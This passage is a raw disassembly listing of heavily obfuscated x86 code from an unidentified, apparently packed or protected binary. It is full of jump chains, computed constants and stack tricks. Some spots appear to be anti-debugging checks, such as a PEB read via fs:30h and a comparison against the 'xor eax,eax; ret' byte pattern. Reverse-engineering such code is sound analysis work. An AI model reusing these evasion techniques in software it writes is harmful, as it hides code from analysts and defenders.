loc_42804E:				; CODE XREF: sub_426C0C:loc_42A95Bj
		push	eax
		push	esi
		push	0EB90AE93h
		pop	esi
		add	esi, 1C0DDBCEh
		sub	esi, ds:4000F1h
		add	esi, 0ECCF7B19h
		jmp	loc_4246F2
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------


loc_42806D:				; CODE XREF: wto1jq8f:00426699j
		jge	loc_428FE8
		xor	esi, 0D3F57ACh
		xchg	esi, [ebp+0]
		jmp	loc_42E43F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424ADA


loc_428081:				; CODE XREF: sub_424ADA:loc_4291E1j
		jnz	loc_426ED4
		jmp	loc_4273F2
; END OF FUNCTION CHUNK	FOR sub_424ADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42808C:				; CODE XREF: sub_42B8FC:loc_42A931j
					; wto1jq8f:0042DE4Fj
		jz	loc_42FD8C
		jmp	loc_4248AD
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------


loc_428097:				; DATA XREF: sub_42E8D0+9o
		push	edi
		push	3F6880A7h
		pop	edi
		add	edi, 0C0DA0FB5h
		mov	[edi], eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_4280A8:				; CODE XREF: sub_426535+4FC3j
		jmp	loc_429E0D
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_4280AD:				; CODE XREF: wto1jq8f:0042AB6Dj
		jmp	loc_42E3A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_4280B2:				; CODE XREF: sub_42FE4C-9072j
					; sub_424F7A:loc_42D926j
		ror	eax, 14h
		jmp	loc_42CA31
; END OF FUNCTION CHUNK	FOR sub_424F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_4280BA:				; CODE XREF: sub_42D9D9-7261j
		mov	eax, 6
		sub	eax, [ebp-4]
		push	offset loc_42D352
		jmp	loc_42F09C
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_4280CC:				; CODE XREF: sub_426968+75CEj
		jnz	loc_426DC7
		xor	esi, eax
		xor	edx, edi
		jmp	loc_426DC5
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5B2


loc_4280DB:				; CODE XREF: sub_42E5B2:loc_42CDDDj
		push	eax
		push	offset loc_429221
		jmp	nullsub_139
; END OF FUNCTION CHUNK	FOR sub_42E5B2

; =============== S U B	R O U T	I N E =======================================



sub_4280E6	proc near		; CODE XREF: sub_4281DD+9p
		xchg	ecx, [esp+0]
		mov	ecx, [esp+0]
		mov	esp, ebp
		pop	ebp
		push	offset loc_42C9DC
		jmp	nullsub_24
sub_4280E6	endp

; ---------------------------------------------------------------------------
		push	eax
		push	eax
		push	ebx
		call	sub_42D343


loc_428101:				; CODE XREF: wto1jq8f:0042F871j
		jmp	loc_424CA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_428106:				; CODE XREF: sub_4240DC+8BA5j
		jmp	loc_425CCE
; END OF FUNCTION CHUNK	FOR sub_4240DC
; ---------------------------------------------------------------------------


loc_42810B:				; CODE XREF: wto1jq8f:loc_42DD64j
		jnz	loc_42D559
		jmp	loc_42932A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DE87


loc_428116:				; CODE XREF: sub_42DE87:loc_424A59j
		sub	dword ptr [esp+0], 7798285Ch
		push	0
		push	ebx
		push	529E09Bh
		pop	ebx
		add	ebx, 0FB18ABAFh
		xchg	ebx, [esp+8+var_8]
		jmp	sub_42A7E2
; END OF FUNCTION CHUNK	FOR sub_42DE87
; ---------------------------------------------------------------------------


loc_428134:				; CODE XREF: wto1jq8f:00428F2Dj
		mov	[edi], edx

; =============== S U B	R O U T	I N E =======================================



sub_428136	proc near		; CODE XREF: sub_42D120+17Dp

; FUNCTION CHUNK AT 00426CEB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00427DEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FC7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042B1D8 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		xchg	eax, edi
		push	edi
		xchg	eax, edi
		rol	eax, 17h
		push	edi
		jmp	loc_42B1D8
sub_428136	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_428148:				; CODE XREF: sub_427A8D+3158j
		jnz	loc_42F543


loc_42814E:				; CODE XREF: sub_42D133+7j
		jmp	loc_42C151
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
		js	loc_426637
		and	ebx, 7287C799h
		jmp	loc_42F540
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EECC


loc_428165:				; CODE XREF: sub_42EECC+Ej
		jmp	nullsub_211
; END OF FUNCTION CHUNK	FOR sub_42EECC
; ---------------------------------------------------------------------------


loc_42816A:				; CODE XREF: wto1jq8f:00427767j
		jmp	loc_424294
; ---------------------------------------------------------------------------
		xor	edx, ecx
		jmp	sub_425C40
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_428179:				; CODE XREF: sub_426C0C+58A2j
		jmp	loc_428700
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_42817E:				; CODE XREF: sub_4262CE+170Fj
		jmp	loc_424154
; END OF FUNCTION CHUNK	FOR sub_4262CE

; =============== S U B	R O U T	I N E =======================================



sub_428183	proc near		; CODE XREF: sub_42E833-9990j
					; sub_42F614-98AAp ...
		js	sub_42CED1
		push	offset sub_42D13F
		jmp	nullsub_25
sub_428183	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_428193:				; CODE XREF: sub_42B276+446Aj
		sbb	ebx, edi
		ror	esi, 15h
		sub	edi, ebx


loc_42819A:				; CODE XREF: sub_42B276:loc_429D43j
		call	nullsub_2
		retn
; END OF FUNCTION CHUNK	FOR sub_42B276
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EADC


loc_4281A1:				; CODE XREF: sub_42EADC+1j
		jmp	loc_42EC51
; END OF FUNCTION CHUNK	FOR sub_42EADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_4281A6:				; CODE XREF: sub_426950+4440j
		jmp	loc_42B69D
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_4281AB:				; CODE XREF: sub_42B276:loc_426281j
					; sub_42B276:loc_428E35j
		push	offset loc_429CD7
		jmp	nullsub_89
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------
		mov	eax, [ebp-0Ch]
		cmp	eax, ds:dword_42F1D4
		jz	loc_4245A9
		push	0AC761955h
		pop	eax
		xor	eax, 0AAB6C12Fh
		jmp	loc_42D612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_4281D5:				; CODE XREF: sub_42A6CD:loc_42828Aj
					; sub_42A6CD-1DC0j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------


loc_4281D8:				; CODE XREF: wto1jq8f:004289B5j
		jmp	loc_4261C7

; =============== S U B	R O U T	I N E =======================================



sub_4281DD	proc near		; CODE XREF: sub_429D2E:loc_426A0Fj
					; wto1jq8f:0042B9DBp ...

; FUNCTION CHUNK AT 004278EB SIZE 00000009 BYTES

		jno	sub_42EFB5
		push	ebp
		mov	ebp, esp
		call	sub_4280E6


loc_4281EB:				; CODE XREF: sub_42F5E5+6C2j
		jmp	loc_4278EB
sub_4281DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C859


loc_4281F0:				; CODE XREF: sub_42C859+4j
		jmp	loc_42B1AF
; END OF FUNCTION CHUNK	FOR sub_42C859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3DA


loc_4281F5:				; CODE XREF: sub_42A3DA-5942j
		jmp	loc_42CD1E
; END OF FUNCTION CHUNK	FOR sub_42A3DA
; ---------------------------------------------------------------------------
		xor	edi, ebp
		jmp	sub_42419B
; ---------------------------------------------------------------------------


loc_428201:				; CODE XREF: wto1jq8f:00429CC2j
		push	ebx
		push	9AFC8632h
		pop	ebx
		rol	ebx, 17h
		add	ebx, 97F2B4C8h
		add	eax, ebx
		jmp	loc_42FCF4
; ---------------------------------------------------------------------------
		cmp	edi, esi
		jmp	loc_42E4D5

; =============== S U B	R O U T	I N E =======================================



sub_42821F	proc near		; CODE XREF: sub_429E77:loc_42451Dp
					; wto1jq8f:0042C970j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004287B0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042E44F SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		xor	ecx, 2FA80D1Dh
		popf
		jmp	loc_42E44F
sub_42821F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42822F:				; CODE XREF: sub_42D434-3132j
		popf


loc_428230:				; CODE XREF: sub_42D434:loc_42A2F0j
		rol	eax, 1Dh
		add	eax, 4F273149h
		jmp	loc_42DAD0
; END OF FUNCTION CHUNK	FOR sub_42D434
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FBFD


loc_42823F:				; CODE XREF: sub_42FBFD+Ej
		jmp	loc_42EA4D
; END OF FUNCTION CHUNK	FOR sub_42FBFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E35


loc_428244:				; CODE XREF: sub_425E35+9657j
		jnz	loc_42F9B4
		call	sub_42B5D9


loc_42824F:				; CODE XREF: sub_42AECE-3D93j
		jmp	loc_42E69B
; END OF FUNCTION CHUNK	FOR sub_425E35
; ---------------------------------------------------------------------------


loc_428254:				; CODE XREF: wto1jq8f:0042BF5Bj
		jns	loc_42793B

; =============== S U B	R O U T	I N E =======================================



sub_42825A	proc near		; CODE XREF: sub_42AA68-5E7p
		xchg	edi, [esp+0]
		pop	edi
		push	0
		push	offset loc_42F011
		jmp	nullsub_26
sub_42825A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42826A	proc near		; DATA XREF: sub_4294C7+1o

var_20		= byte ptr -20h

; FUNCTION CHUNK AT 0042EDCB SIZE 00000011 BYTES

		xchg	ebp, ecx
		mov	ebp, esp
		jb	sub_42B68E
		add	esp, 0FFFFFFE0h
		lea	eax, [ebp+var_20]
		jmp	loc_42EDCB
sub_42826A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42827F:				; CODE XREF: sub_429471:loc_4288F7j
		mov	[esi], eax
		shr	ebx, 12h
		jmp	sub_42B705
; END OF FUNCTION CHUNK	FOR sub_429471
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42828A:				; CODE XREF: sub_42A6CD:loc_428D1Dj
		jz	loc_4281D5
		jmp	loc_428905
; END OF FUNCTION CHUNK	FOR sub_42A6CD

; =============== S U B	R O U T	I N E =======================================



sub_428295	proc near		; CODE XREF: sub_42776C+1p
					; wto1jq8f:0042C824j

; FUNCTION CHUNK AT 0042E989 SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	ebp, esp
		jnz	sub_42E460
		jmp	loc_42E989
sub_428295	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4282A6	proc near		; CODE XREF: wto1jq8f:00426D2Cj
					; sub_42EFB5:loc_427DFFp

; FUNCTION CHUNK AT 0042E68C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FFA6 SIZE 0000000F BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ecx
		push	36A78EBAh
		jmp	loc_42FFA6
sub_4282A6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_4282B5:				; CODE XREF: sub_426535:loc_42A1BDj
		push	288C2526h
		jmp	loc_4283AE
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------


loc_4282BF:				; CODE XREF: wto1jq8f:0042883Aj
		sub	ebp, edi

; =============== S U B	R O U T	I N E =======================================



sub_4282C1	proc near		; CODE XREF: sub_42FFDE:loc_425B1Ap

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00424211 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042841A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042A337 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042B0C8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D3C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DA4D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042DFFC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042E132 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042E850 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042FAC5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FE3E SIZE 0000000E BYTES

		mov	[esp+0], ebx
		pop	ebx
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		shr	eax, 6
		jmp	loc_424211
sub_4282C1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_4282D6:				; CODE XREF: sub_42EDB9-4A38j
		push	0E4A4295Dh


loc_4282DB:				; CODE XREF: sub_42EDB9:loc_42A373j
		add	eax, 6383F92Ah
		call	sub_42D1A8


loc_4282E6:				; CODE XREF: wto1jq8f:00429A8Ej
		jmp	loc_425E60
; END OF FUNCTION CHUNK	FOR sub_42EDB9

; =============== S U B	R O U T	I N E =======================================



sub_4282EB	proc near		; CODE XREF: wto1jq8f:00429848p
					; wto1jq8f:0042EFD1j
		xchg	esi, [esp+0]
		pop	esi
		call	sub_428183
sub_4282EB	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_428310


loc_4282F4:				; CODE XREF: sub_428310:loc_42DFACj
		push	offset loc_427762
		jmp	nullsub_117
; END OF FUNCTION CHUNK	FOR sub_428310

; =============== S U B	R O U T	I N E =======================================



sub_4282FE	proc near		; CODE XREF: wto1jq8f:00427E15j
					; sub_42C6C3+1162p

; FUNCTION CHUNK AT 00425F84 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00426B5D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426DFC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427074 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427F6C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004287FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A425 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042B168 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B24D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042CCED SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042D520 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-4], eax
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-18h]
		jmp	loc_4287FD
sub_4282FE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428310	proc near		; CODE XREF: sub_425EA8+7p
					; wto1jq8f:00429A75j

; FUNCTION CHUNK AT 004282F4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042DFAC SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		mov	eax, 52h
		call	sub_428183
		jmp	loc_42DFAC
sub_428310	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_428323:				; CODE XREF: sub_426144:loc_428361j
		push	offset loc_42BC10


loc_428328:				; CODE XREF: sub_426535:loc_42EE43j
		jmp	loc_42CB08
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------


loc_42832D:				; CODE XREF: wto1jq8f:0042410Dj
		jnz	loc_426002

; =============== S U B	R O U T	I N E =======================================



sub_428333	proc near		; CODE XREF: sub_4272F3-18CCp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00424CA9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042869C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0042A12B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AA44 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AFBF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C3FE SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		test	eax, ecx
		pop	ecx
		jz	loc_424CA9
		mov	eax, 62h
		jmp	loc_42A12B
sub_428333	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42834A:				; CODE XREF: sub_4244EA+B21Aj
		adc	ebx, eax
; END OF FUNCTION CHUNK	FOR sub_4244EA
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42834C:				; CODE XREF: sub_42E9E8:loc_42B952j
		call	sub_424585
		mov	edx, 0C231F698h
		push	ebx
		jmp	loc_4241ED
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
		jmp	loc_42A812
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_428361:				; CODE XREF: wto1jq8f:004240C8j
					; sub_42C486:loc_425E55j ...
		jz	loc_428323
		mov	eax, large fs:30h
		add	eax, 54h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_42431F
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_42837A:				; CODE XREF: sub_424F7A:loc_425BF8j
		push	eax
		push	ecx
		push	0CAB5A9E0h
		mov	ecx, offset loc_42838F
		xchg	ecx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_424F7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E337


loc_42838A:				; CODE XREF: sub_42E337+156Bj
		jmp	nullsub_178
; END OF FUNCTION CHUNK	FOR sub_42E337
; ---------------------------------------------------------------------------


loc_42838F:				; DATA XREF: sub_424F7A+3407o
		add	ecx, 358CD600h
		jmp	loc_42E712
; ---------------------------------------------------------------------------


loc_42839A:				; CODE XREF: wto1jq8f:loc_429CA3j
		add	[esi], eax
		push	edi
		push	0AB12B42Ah
		pop	edi
		xor	edi, 0ABED4B2Dh
		jmp	loc_42AB93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_4283AE:				; CODE XREF: sub_426535+1D85j
		not	ebx
		shr	ebx, 18h
		mov	eax, [ebp+0]
		sub	esi, ebp
		jmp	loc_42C172
; ---------------------------------------------------------------------------


loc_4283BD:				; CODE XREF: sub_426535:loc_426545j
		cmp	dword ptr [ebp-4], 3
		jnz	loc_42C172
		jmp	loc_42FB48
; END OF FUNCTION CHUNK	FOR sub_426535

; =============== S U B	R O U T	I N E =======================================



sub_4283CC	proc near		; DATA XREF: wto1jq8f:00426B7Eo

; FUNCTION CHUNK AT 00424728 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426159 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427906 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427B16 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428B81 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042A77F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C975 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042CA43 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D60D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF0E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F0FE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042F8EB SIZE 00000005 BYTES

		cmp	eax, 0C3C033h
		jnz	loc_42A77F
		jmp	loc_427906
sub_4283CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4283DC:				; CODE XREF: wto1jq8f:loc_4269EAj
		jnb	loc_429DDE
		popf
		mov	edi, 85BA8EC4h
		or	ebp, esi
		jmp	loc_42C8D1
; ---------------------------------------------------------------------------

locret_4283EF:				; CODE XREF: wto1jq8f:0042D573j
		retn
; ---------------------------------------------------------------------------


loc_4283F0:				; CODE XREF: wto1jq8f:0042454Fj
					; wto1jq8f:loc_427B8Aj
		push	offset sub_42E369
		jmp	loc_42CC5B
; ---------------------------------------------------------------------------
		ror	eax, 1Bh
		jmp	sub_42AC24
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF6A


loc_428403:				; CODE XREF: sub_42CF6A-6F45j
		jmp	nullsub_136
; END OF FUNCTION CHUNK	FOR sub_42CF6A
; ---------------------------------------------------------------------------


loc_428408:				; CODE XREF: wto1jq8f:004285C4j
		call	sub_42CB36
		test	al, al
		jz	loc_42AE32
		jmp	loc_427B56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42841A:				; CODE XREF: sub_4282C1:loc_42FAC5j
		push	esi
		jmp	loc_42B0C8
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------
		push	0A6B9B56Eh
		pop	edx
		call	sub_42C1EE


loc_42842B:				; DATA XREF: sub_42D322:loc_429857o
		ror	eax, 3
		push	eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_428430	proc near		; CODE XREF: sub_42FACF+3p

; FUNCTION CHUNK AT 0042A7DD SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42A7DD
sub_428430	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_428436:				; CODE XREF: sub_426E98+24F3j
		push	ecx
		push	8F202182h
		pop	ecx
		or	ecx, 0E4F1861Fh
		sub	ecx, 0BC3724F2h
		add	ecx, 0CC885A9Ch
		jmp	near ptr dword_4254D8+30h
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_428454:				; CODE XREF: sub_42D434:loc_427F29j
		call	sub_428BA9


loc_428459:				; CODE XREF: sub_42F776+13j
		test	eax, 20000000h
		jmp	loc_42A2F0
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
		shl	ebp, 6
		jmp	loc_426EA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42596F


loc_42846C:				; CODE XREF: sub_42596F:loc_42597Bj
		call	sub_42D765
		retn
; END OF FUNCTION CHUNK	FOR sub_42596F
; ---------------------------------------------------------------------------


loc_428472:				; CODE XREF: wto1jq8f:loc_42ECB4j
					; wto1jq8f:0042ECCCj
		call	sub_42CB36
		test	al, al
		jz	loc_42F4B0
		jmp	loc_426432
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_428484:				; CODE XREF: sub_426950+2DA1j
		mov	ebp, ebx
		pop	ebx
		mov	eax, ds:dword_42CAEC
		or	eax, eax
		jmp	loc_42BB0D
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F185


loc_428494:				; CODE XREF: sub_42F185:loc_42AF7Dj
		push	offset loc_42B484
		jmp	sub_429E0C
; END OF FUNCTION CHUNK	FOR sub_42F185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42849E:				; CODE XREF: sub_42E9E8-38FFj
		mov	[ebp+0], edx


loc_4284A1:				; CODE XREF: sub_42E9E8:loc_42A4EFj
		call	sub_42DEFF


loc_4284A6:				; CODE XREF: wto1jq8f:loc_4262B0j
					; sub_42606D:loc_42B507j
		or	ecx, 0A102C815h
		xor	ecx, 90011067h
		add	ecx, ebp
		add	ecx, 0C0C9225Ah
		mov	[ecx], edx
		xchg	edx, [esp+0]
		push	offset loc_42FD42
		jmp	nullsub_149
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_4284C9:				; CODE XREF: sub_4260DB+7479j
		jz	loc_4288B6
; END OF FUNCTION CHUNK	FOR sub_4260DB
; START	OF FUNCTION CHUNK FOR sub_429318


loc_4284CF:				; CODE XREF: sub_429318+Dj
		jmp	loc_42BB82
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4284D4:				; CODE XREF: sub_42E9E8-7E08j
		jmp	loc_42D949
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
		ror	edx, 15h
		jmp	loc_42EFDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB49


loc_4284E1:				; CODE XREF: sub_42CB49-23ACj
		ja	loc_426CD4
		jmp	loc_425019
; END OF FUNCTION CHUNK	FOR sub_42CB49

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4284EC	proc near		; CODE XREF: sub_42A202+5p

; FUNCTION CHUNK AT 00424E7B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00425FF1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004287E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A18C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A7D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ACCA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B599 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042E6E6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042FF18 SIZE 0000000C BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	254E0F03h
		pop	eax
		rol	eax, 18h
		jmp	loc_42E6E6
sub_4284EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428501	proc near		; CODE XREF: sub_42F5E5+7p

; FUNCTION CHUNK AT 0042CF20 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F2C2 SIZE 00000005 BYTES

		mov	[esp+0], ecx
		push	edx
		jnb	sub_42A5BE
		push	esi
		jmp	loc_42CF20
sub_428501	endp

; ---------------------------------------------------------------------------


loc_428511:				; CODE XREF: wto1jq8f:loc_427D26j
		and	esi, 0D59B8B5Ah
		add	esi, 0EC3EE905h
		xchg	esi, [esp]
		jmp	sub_42A56D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F25F


loc_428525:				; CODE XREF: sub_42F25F:loc_42F0ACj
		push	65723B39h
		pop	esi


loc_42852B:				; CODE XREF: wto1jq8f:loc_42B98Aj
		add	esi, 926FD287h
		and	esi, 0A183C09Bh
		add	esi, 5EC086A5h
		call	sub_4292AD


loc_428542:				; DATA XREF: wto1jq8f:0042BDDAo
		add	eax, 234F146Bh
		call	sub_428183
		jmp	loc_428DCB
; END OF FUNCTION CHUNK	FOR sub_42F25F
; ---------------------------------------------------------------------------


loc_428552:				; CODE XREF: wto1jq8f:00427F84j
		jnz	loc_42ECC5
		call	sub_42CB36
		test	al, al
		jmp	loc_42ECB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BD4


loc_428564:				; CODE XREF: sub_424BD4j
					; sub_42C4E2-2140j
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_426758
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		jmp	loc_42793B
; END OF FUNCTION CHUNK	FOR sub_424BD4
; ---------------------------------------------------------------------------


loc_42857F:				; CODE XREF: wto1jq8f:004243D2j
		jnz	loc_429990
		jmp	loc_42EF86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42970D


loc_42858A:				; CODE XREF: sub_42970D:loc_42F9D7j
		push	724396AFh
		pop	eax
		add	eax, 8DFF3F19h
		mov	eax, [eax]
		jmp	loc_42A980
; END OF FUNCTION CHUNK	FOR sub_42970D

; =============== S U B	R O U T	I N E =======================================



sub_42859D	proc near		; CODE XREF: wto1jq8f:0042CC55j
					; sub_42D69D+829p

